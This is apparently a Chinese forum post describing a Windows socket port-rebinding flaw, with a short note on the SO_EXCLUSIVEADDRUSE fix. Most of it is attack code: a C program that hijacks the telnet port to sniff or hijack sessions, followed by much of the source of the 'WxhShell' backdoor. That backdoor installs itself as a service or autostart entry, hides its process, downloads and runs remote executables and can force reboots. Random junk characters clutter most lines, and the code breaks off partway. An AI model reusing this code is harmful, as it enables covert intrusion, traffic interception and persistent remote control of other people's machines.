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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: { Fawt:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); m3mp/g.>  
!!`!|w  
  saddr.sin_family = AF_INET; 't6V:X  
/)4I|"}R0I  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _g~qu [1  
yp66{o  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {3.r6ZwCn  
OU/MiyP2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >]W)'lnO  
> 3&: 5  
  这意味着什么?意味着可以进行如下的攻击: o9F/y=.r=  
m"o ;L3  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 q~*t@  
V}SBuQp"  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ,B0_MDA +  
^Nmg07_R  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 A` AaTP  
Dg} Ka7H  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D,g1<:<  
nSkPM 5\TI  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qUOKB6  
C@bm  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 o]p|-<I Q  
|Tm!VFd  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 DBT&DS  
'*?WU_L(g  
  #include -*m+(7G\  
  #include }b0; 0j  
  #include <_XWWT%  
  #include    9\]^|?zQ`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   %"af748!+D  
  int main() IjR'Qou5  
  { L30$%G|  
  WORD wVersionRequested; e}.^Tiwd]  
  DWORD ret; k31I ysh  
  WSADATA wsaData; 5<ux6,E1{  
  BOOL val; j'BMAn ?  
  SOCKADDR_IN saddr; m q{];  
  SOCKADDR_IN scaddr; rORZerM  
  int err; d\ ~QBr?  
  SOCKET s; 2c:#O%d(  
  SOCKET sc; =<NljOR4`  
  int caddsize; k}0^&Quc4  
  HANDLE mt; R hvfC5Hq  
  DWORD tid;   <F.Tx$s  
  wVersionRequested = MAKEWORD( 2, 2 ); JGH60|  
  err = WSAStartup( wVersionRequested, &wsaData ); CJXg@\\/  
  if ( err != 0 ) { 2w-51tqm  
  printf("error!WSAStartup failed!\n"); Hx\H $Y  
  return -1; Pw;!uag  
  } TM|)Ljm  
  saddr.sin_family = AF_INET; M>>qn_yq4  
   ,i,q!M{-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 8WXJ.  
yNqe8C,>e  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); vMs$ceq  
  saddr.sin_port = htons(23); '8T=~R6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ty*@7g0k  
  { }-o{ASC#  
  printf("error!socket failed!\n"); 3Bx:Ntx<  
  return -1; !ZI7&r`u;  
  } ;x8k[p~2  
  val = TRUE; T7d9ChU\#.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &2=dNREJ}1  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `p7&> BOA  
  { K%Rj8J7|u?  
  printf("error!setsockopt failed!\n"); {nvLPUL  
  return -1; GKFq+]W  
  } V]vc(rH  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; F`9ZH.  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 =pk)3<GwF  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <@Fy5k-%.  
N]<!j$pOz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) D.1J_Y=9  
  { {!K-E9_,S  
  ret=GetLastError(); eU N"w,@y  
  printf("error!bind failed!\n"); acw4B5]  
  return -1; 3,Q^& 1  
  } 2d {y M(=(  
  listen(s,2); sqS=qC  
  while(1) fz3 lV  
  { ~35U]s@v  
  caddsize = sizeof(scaddr); yin'vgQ  
  //接受连接请求 ?l$Nf@-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Zb134b'  
  if(sc!=INVALID_SOCKET) a<A+4uXyD  
  { ocyb5j  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); His*t1o8'O  
  if(mt==NULL) JB&\i#  
  { b77>$[xB  
  printf("Thread Creat Failed!\n"); <6G1 1-K  
  break; ?"KC-u|  
  } a+9 *@z2  
  } AT\qiznvP  
  CloseHandle(mt); xGG,2W+z  
  } I6s3+x;O  
  closesocket(s); | /|  
  WSACleanup(); `WOYoec   
  return 0; ?*oKX  
  }   J-<^P5  
  DWORD WINAPI ClientThread(LPVOID lpParam) 8l"O(B'#Z  
  { C(id=F  
  SOCKET ss = (SOCKET)lpParam; XJ0oS32_wK  
  SOCKET sc; CY& hIh~S@  
  unsigned char buf[4096]; j}AFE  
  SOCKADDR_IN saddr; 'vbc#_;  
  long num; ej O}t:}P  
  DWORD val; zP;cTF(C  
  DWORD ret; )Y8",Ig  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ZJjTzEV%^B  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {h KjD"?  
  saddr.sin_family = AF_INET; ?9X&tK)E-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P@]8pIB0d^  
  saddr.sin_port = htons(23); wCHR7X0*b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fbkd"7u  
  { ,\aUq|~  
  printf("error!socket failed!\n"); !gmH$1w  
  return -1; &l?+3$q  
  } B<~U3b  
  val = 100; 62>zt2=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P\&! ]  
  { !8@*F  
  ret = GetLastError(); a@pz*e  
  return -1; ~kCwJ<E  
  } & ``d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) l6u&5[C  
  { D)brPMS:o  
  ret = GetLastError(); *E~VKx1  
  return -1; 5eA8niq#  
  } jkF8\dR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :EtMH(  
  { TbehR:B5g  
  printf("error!socket connect failed!\n"); )!Bd6-  
  closesocket(sc); iHp\o=#  
  closesocket(ss); 4"vaMa  
  return -1; M@thI%lR  
  } 9F^;!  
  while(1) b`_w])Y@  
  { &VBd~4|p  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5`<eKwls  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s:Akk kF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ZCg`z  
  num = recv(ss,buf,4096,0); <q,+ON\'  
  if(num>0) Cj*-[ EL<  
  send(sc,buf,num,0); IAOcKQ3  
  else if(num==0)  pAu72O?  
  break; Oc&),ru2l  
  num = recv(sc,buf,4096,0); v[lnw} =m9  
  if(num>0) M]-VHI[&W  
  send(ss,buf,num,0); K{l5m{:%  
  else if(num==0)  j4R 4H;  
  break; L}j0a>=x4  
  } {NCF6M k  
  closesocket(ss); s(_+!d6  
  closesocket(sc); 8)VgS &B~  
  return 0 ; c[ht`!P  
  } 6TH!vuQ1(  
d3]hyTqbtm  
4q$H  
========================================================== -K[782Q  
p[2GkP  
下边附上一个代码,,WXhSHELL jvVi%k  
b8f+,2Tk  
========================================================== !eJCM`cp  
,5|d3dJS  
#include "stdafx.h" PVa o  
F8+e,x  
#include <stdio.h> ^\:2}4Uj_  
#include <string.h> jvzBh-!  
#include <windows.h> Z7jX9e"L  
#include <winsock2.h> o;[bJ Z\^x  
#include <winsvc.h> uvA(Rn  
#include <urlmon.h> PzY)"]g  
[^~7]2i  
#pragma comment (lib, "Ws2_32.lib") {[(pWd%J  
#pragma comment (lib, "urlmon.lib") X;!D};;M  
@rb l^  
#define MAX_USER   100 // 最大客户端连接数 <SVmOmJ-K  
#define BUF_SOCK   200 // sock buffer ~@8+hnE]  
#define KEY_BUFF   255 // 输入 buffer =ex'22  
5A&y]5-Q`  
#define REBOOT     0   // 重启 V8O.3fo`[`  
#define SHUTDOWN   1   // 关机 Vj; vo`T  
Ih1|LR/c  
#define DEF_PORT   5000 // 监听端口 >m_v5K  
y7<&vIEC  
#define REG_LEN     16   // 注册表键长度 c#b:3dXx9  
#define SVC_LEN     80   // NT服务名长度 \%,&~4 !  
Y~n` ~(  
// 从dll定义API fn9#>~vrD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s%;<O:x8o  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "D* Wi7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &B!%fd.'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w5]l1}rl  
J -Qh/d%]  
// wxhshell配置信息 S:Tm23pe  
struct WSCFG { ' eO/PnYW  
  int ws_port;         // 监听端口 wUi(3g|A  
  char ws_passstr[REG_LEN]; // 口令 sa1mC  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?kt=z4h9(  
  char ws_regname[REG_LEN]; // 注册表键名 jnoL2JR[=-  
  char ws_svcname[REG_LEN]; // 服务名 bO49GEUT _  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0zqj0   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &WZP2Q|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ^ua12f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no +zWrLf_Rc  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @XOi62(  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w 7tC|^#G  
|Vx~fKS\  
}; R V!o4"\]  
Z{{ t^+XG  
// default Wxhshell configuration dm R3Y.\jd  
struct WSCFG wscfg={DEF_PORT, ] mj v;C  
    "xuhuanlingzhe", )u@t.)ChAV  
    1, "E*8h/4u  
    "Wxhshell",  }sMW3'V  
    "Wxhshell", { U <tc4^  
            "WxhShell Service", rbk<z\pc  
    "Wrsky Windows CmdShell Service", !Y;<:zx5  
    "Please Input Your Password: ", )-&nxOP  
  1, >,h1N$A+  
  "http://www.wrsky.com/wxhshell.exe", s?O&ZB2GM[  
  "Wxhshell.exe" b?kPN:U#N/  
    }; 2/tb6' =  
2H&{1f\Bf  
// 消息定义模块 1&|Dsrj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 2 X<nn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; \Tq "mw9P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7o{*Z  
char *msg_ws_ext="\n\rExit."; "@/ba!L+  
char *msg_ws_end="\n\rQuit."; v`)m">e*w  
char *msg_ws_boot="\n\rReboot..."; Bt>}LLBS2  
char *msg_ws_poff="\n\rShutdown..."; DY><qk  
char *msg_ws_down="\n\rSave to "; &]nd!N  
oA3d^%(c  
char *msg_ws_err="\n\rErr!"; |}qjqtZ  
char *msg_ws_ok="\n\rOK!";  a@|.;#FF  
R @r{  
char ExeFile[MAX_PATH]; g'G8 3F  
int nUser = 0; B5Va%?Wg?H  
HANDLE handles[MAX_USER]; Kp_jy.e7&  
int OsIsNt; *d l"wH&  
I=YCQ VvA  
SERVICE_STATUS       serviceStatus; $e/*/.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /{N))  
MOV =n75  
// 函数声明 >.Q0 Tx!P  
int Install(void); ?~qC,N[  
int Uninstall(void); [:i sZG*  
int DownloadFile(char *sURL, SOCKET wsh); R^9"N?Q7;`  
int Boot(int flag); ida*]+ ~  
void HideProc(void); 11*"d#  
int GetOsVer(void); 'P/taEi=R  
int Wxhshell(SOCKET wsl); a!.!2a&t  
void TalkWithClient(void *cs); ;4d.)-<No_  
int CmdShell(SOCKET sock); *IlQ5+3I  
int StartFromService(void); yv${M u  
int StartWxhshell(LPSTR lpCmdLine); /v&`!nKu  
Am7| /  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3#9M2O\T  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~'f8L #[M  
ct\<;I(H  
// 数据结构和表定义 0=m&^Jpp  
SERVICE_TABLE_ENTRY DispatchTable[] = fI[dhd6  
{ szn%wZW  
{wscfg.ws_svcname, NTServiceMain}, r"]Oe$[#  
{NULL, NULL} X'2Gi  
}; a-Fqp4  
{@\/a  
// 自我安装 A}eOR=E  
int Install(void) ocP*\NR  
{ ~}%&p& p  
  char svExeFile[MAX_PATH]; NhtEW0xCr  
  HKEY key; J_/05( 48  
  strcpy(svExeFile,ExeFile); >'0lw+a  
g!`BXmW  
// 如果是win9x系统,修改注册表设为自启动 ,$i<@2/=m  
if(!OsIsNt) { Qrz*Lvle h  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SbJh(V-pr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]1Qi=2'  
  RegCloseKey(key); Et0&E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y(a}IM3~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tnRJ#[Io  
  RegCloseKey(key); Ko-QR(  
  return 0; tz8t9lb[  
    } q5gP~*?  
  } coO.kTO;  
} 7X:hIl   
else { u p~@?t2  
jhcuK:`L  
// 如果是NT以上系统,安装为系统服务 h~.V[o7=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #[(0tc/  
if (schSCManager!=0) #J3zTG(:@  
{ Ris-tdg  
  SC_HANDLE schService = CreateService c.6QhE  
  ( ,|QU] E @  
  schSCManager, Pd& ,G$l  
  wscfg.ws_svcname, ,QL(i\  
  wscfg.ws_svcdisp, I,z"_[^G  
  SERVICE_ALL_ACCESS, Wlxk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5YLho2h38!  
  SERVICE_AUTO_START, 5z[6rT=a  
  SERVICE_ERROR_NORMAL, 7\ZL  
  svExeFile, Q}ZBr^*]1e  
  NULL, tJG (*   
  NULL, hf[IEK  
  NULL, " #J}A0  
  NULL, SOYDp;j  
  NULL Vg) ^|  
  ); 6<Be#Y]b  
  if (schService!=0) h?3f5G*&H  
  { t.u{.P\Md\  
  CloseServiceHandle(schService); x6~Fb~aP  
  CloseServiceHandle(schSCManager); 9Iy[E,j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); X~#@rg!"  
  strcat(svExeFile,wscfg.ws_svcname); `;T? 9n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { td`wNy\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cG5$lB  
  RegCloseKey(key); ] : Wb1  
  return 0; 9cbB[c_.  
    } 0YHYxn  
  } 3 dY6;/s  
  CloseServiceHandle(schSCManager); p\)h",RkA  
} @nW'(x(  
} 5Wj5IS/  
}cyq'm i  
return 1; r}Q@VS% %  
} VN!^m]0  
00R%  
// 自我卸载 ir"* iL=  
int Uninstall(void) hiT9H5 6 >  
{ Ubpg92  
  HKEY key; W|FNDP0  
ud!r*E  
if(!OsIsNt) { UfO'.8*v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &8.z$}m  
  RegDeleteValue(key,wscfg.ws_regname); l!Nvn$h m  
  RegCloseKey(key); AZ}%MA; q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /}[zA@  
  RegDeleteValue(key,wscfg.ws_regname); ..]B9M.  
  RegCloseKey(key); c '/2F0y  
  return 0; b<48#Qy~l  
  }  8APTk  
} Q&tFv;1w6  
} baA HP "  
else { mn,=V[f  
9eksCxFg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7Ljs4>%l9j  
if (schSCManager!=0) chMt5L+5  
{ `<bCq\+`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =]6_{#Z<  
  if (schService!=0) D_]i/ F%  
  { vs* _;vx  
  if(DeleteService(schService)!=0) { A/ r;;S)%2  
  CloseServiceHandle(schService); F&-5&'6G+  
  CloseServiceHandle(schSCManager); %_cg|yy  
  return 0; t^dakL  
  } %pQdq[J={  
  CloseServiceHandle(schService); V:$[~)k8  
  } t"4Rn<-  
  CloseServiceHandle(schSCManager); bkJn}Al;  
} =r=^bNO  
} hnlU,p&y3  
"Vs Nyy  
return 1; |J @|  
} ]g>T9,)l  
qM+!f2t  
// 从指定url下载文件 L+`}euu5  
int DownloadFile(char *sURL, SOCKET wsh) >7eu'  
{ 47$-5k30  
  HRESULT hr; w4 >:uyE  
char seps[]= "/"; N$L&|4r  
char *token; !: `Ra  
char *file; a'(lVZA;  
char myURL[MAX_PATH]; +/1P^U /  
char myFILE[MAX_PATH]; 3RG/X  
jnx+wcd  
strcpy(myURL,sURL); ;L MEU_  
  token=strtok(myURL,seps); "dFdOb"O-  
  while(token!=NULL) =t <:zLe  
  { n$A(6]z5O  
    file=token; \q>e1-  
  token=strtok(NULL,seps); 4c9-[KKCV  
  } jp\JwE  
oQKcGUZ  
GetCurrentDirectory(MAX_PATH,myFILE); [ 7CH(o1a&  
strcat(myFILE, "\\"); j.e`ip  
strcat(myFILE, file); !'c6Hs  
  send(wsh,myFILE,strlen(myFILE),0); %t(, *;  
send(wsh,"...",3,0); k N uN4/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); `-E.n'+  
  if(hr==S_OK) _j|n}7a  
return 0; GNj/jU<o!  
else 'ocwXyP,  
return 1; ,L8I7O}A;  
cftn`:(&8  
} !~VR|n-  
mDe+ M {/  
// 系统电源模块 Ynt&cdK9  
int Boot(int flag) +$an*k9  
{ 5Od(J5`  
  HANDLE hToken; '8((;N|I^  
  TOKEN_PRIVILEGES tkp; }*{\)7g  
UeC%Wa<[  
  if(OsIsNt) { P+D|_3j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C'xU=OnA8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *U5> j#,  
    tkp.PrivilegeCount = 1; p3'mJ3MA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &' oacV=  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5Rt0h$_J  
if(flag==REBOOT) { 1f bFNxo8M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~]D \&D9=?  
  return 0; #RZJ1uL  
} aL$c).hq0  
else { UC<[z#]\;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FK/ro91L  
  return 0; 9x 6ca  
} Xk7$?8r4&  
  } 1&>nL`E[3  
  else { ~6Ee=NaLzP  
if(flag==REBOOT) { S]e~)I gO  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +A&IxsTq5=  
  return 0; 8[{0X4y3  
} %i JU)N!  
else { [b\lcQ8O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hr 6LB&d_  
  return 0; bx%hizb  
} `U?H^,FVA  
} LQ&d|giA  
5)o-]S>  
return 1; 9  lazo  
} V.G9J!?<P  
]!S)O|_D[  
// win9x进程隐藏模块 emDvy2uA#  
void HideProc(void) Rh-8//&vZ/  
{ qS[p|*BL  
Qe=Q8cT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O (sFs1  
  if ( hKernel != NULL ) 1x<rh\oo  
  { =.=. \K  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); \]d*h]Hms  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9"u @<]  
    FreeLibrary(hKernel); C`K9WJOD  
  } qjRiTIp9q  
:4L5@>b-  
return; =B 4gEWR  
} XC8z|A-@  
/x"pj3  
// 获取操作系统版本 >+c`GpZH  
int GetOsVer(void) "x)pp  
{ ,Elga}7u  
  OSVERSIONINFO winfo; DF&jZ[##  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); dXcMysRc%&  
  GetVersionEx(&winfo); N<i Vs  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VRN9yn2  
  return 1; /dP8F  
  else /;(%Xd&:  
  return 0; p2_Zsq  
} 4~D>oNx4  
?jM7C}  
// 客户端句柄模块 <t|9`l_XW  
int Wxhshell(SOCKET wsl) 4uE5h~0Z  
{ Q; /!oA_  
  SOCKET wsh; V{^fH6;[  
  struct sockaddr_in client; !NY^(^   
  DWORD myID; 5Vm}<8{  
06W=(fY  
  while(nUser<MAX_USER) K]]r OF  
{ ~!+h"%'t  
  int nSize=sizeof(client); 'C?f"P:X{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 01d26`G$i~  
  if(wsh==INVALID_SOCKET) return 1; igbb=@QBJ  
p<nBS" /  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .j4ziRa-  
if(handles[nUser]==0) ~v,KI["o  
  closesocket(wsh); Z 5YW L4s  
else 8`*9jr  
  nUser++; 9P >S[=  
  } OL9C #er  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =$z$VbBv  
s&_O2(l  
  return 0; 7JwWM2N?V  
} c(=O`%B{  
>wm$,%zk  
// 关闭 socket HyYQQ  
void CloseIt(SOCKET wsh) i3WmD@  
{ u2\qg;dP  
closesocket(wsh); Fea\ eB  
nUser--; Jn[ K0GV  
ExitThread(0); $5AtI$TV_!  
} ifCGNvDR  
_"Ke=v_5  
// 客户端请求句柄 XI(@O)  
void TalkWithClient(void *cs) h sw My  
{ Tb6x@MorP  
"._WdY[  
  SOCKET wsh=(SOCKET)cs; *b l{F\  
  char pwd[SVC_LEN]; I; }%k;v6  
  char cmd[KEY_BUFF]; "RX5] eJc\  
char chr[1]; iOXP\:mPo  
int i,j; $u.T1v  
oK1[_ko|  
  while (nUser < MAX_USER) { i|noYo_Ah\  
-&$%m)wN  
if(wscfg.ws_passstr) { R;,HtN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K?m:.ZM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kb\v}gfiD/  
  //ZeroMemory(pwd,KEY_BUFF); |.8=gS5  
      i=0; KKXb,/  
  while(i<SVC_LEN) { U8Jj(]},_  
5BO!K$6  
  // 设置超时 U)1qsUDF  
  fd_set FdRead; 2EcYO$R!  
  struct timeval TimeOut; +VCo=oA  
  FD_ZERO(&FdRead); D>^ix[:J  
  FD_SET(wsh,&FdRead); Sqt"G6<  
  TimeOut.tv_sec=8; 3E@&wpj  
  TimeOut.tv_usec=0; 3Qr!?=nf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &rWJg6/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); EUS]Se2  
Y9ce"*b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SF=|++b1f  
  pwd=chr[0]; Y6DiISl  
  if(chr[0]==0xd || chr[0]==0xa) { 9)hC,)5  
  pwd=0; * rANf&y  
  break; LVtQ^ 5>8  
  }  o%4+I>  
  i++; ul&7hHp_u%  
    } P(+ar#,G  
x=+I8Q4:  
  // 如果是非法用户,关闭 socket K'/x9.'%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); F5q1VEe  
} OHvzK8  
W >IKy#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ri0+nJ6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *,*5sV  
Y }d>%i+  
while(1) { ,$[lOFs  
>2a#|_-T  
  ZeroMemory(cmd,KEY_BUFF); !K)|e4$  
sb5kexGxkc  
      // 自动支持客户端 telnet标准   PS]X Lz  
  j=0; X0=- {<W  
  while(j<KEY_BUFF) { XArLL5_L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G ~\$Oq8  
  cmd[j]=chr[0]; bFXCaD!{G  
  if(chr[0]==0xa || chr[0]==0xd) { V$D d 7  
  cmd[j]=0; PelV67?M  
  break; #(4hX6?5AI  
  } MT gEq  
  j++; n_2 LkW<?  
    } 4rdrl  
#!@ ]%4  
  // 下载文件 ]qRz!D%@^  
  if(strstr(cmd,"http://")) { .8~ x;P6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j zp%.4/j  
  if(DownloadFile(cmd,wsh)) sB!A:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); htlWC>*  
  else 'z5 ;o :T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2*FZ@?X@r  
  } 3=I Q  
  else { C@W0fz  
5toNEDN  
    switch(cmd[0]) { 46`{mPd{aO  
  a]ey..m  
  // 帮助 T^>cT"ux_  
  case '?': { gI{F"7fa=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `-2`UGB-  
    break; zg"ZXZ  
  } 5%/%i}e~(  
  // 安装 2 ARh-zLb  
  case 'i': { 3Mt6iZW  
    if(Install()) 4B(qVf&M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BpE[9N  
    else ?2c:|FD  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $5O&[/L  
    break; >8- `  
    } >cLZP#^\2E  
  // 卸载 Y?x3JU0_  
  case 'r': { k0|InP7  
    if(Uninstall()) #=m5*}=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hNfL /^w  
    else #+ =afJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T;7|d5][  
    break; 2x CGr>X  
    } y.OUn'^d4  
  // 显示 wxhshell 所在路径 $dVjxo  
  case 'p': { J)f?x T*  
    char svExeFile[MAX_PATH]; 0' t)fnI#  
    strcpy(svExeFile,"\n\r"); xRmB?kM3]5  
      strcat(svExeFile,ExeFile); EA72%Y9F  
        send(wsh,svExeFile,strlen(svExeFile),0); W X9BS$}0  
    break; SY.V_O$l }  
    } 5O*$#C;c  
  // 重启 ZN/")  
  case 'b': { XZJx3!~fm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5@\<:Zmi  
    if(Boot(REBOOT)) dfce/QOV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EY(4 <;)  
    else { NKN!X/P  
    closesocket(wsh); Ns{4BM6j  
    ExitThread(0); 4BX*-t  
    } IFe[3mB5  
    break; -#h \8Xl  
    } eS M!_2  
  // 关机 n$9!G  
  case 'd': { kQtl&{;k?  
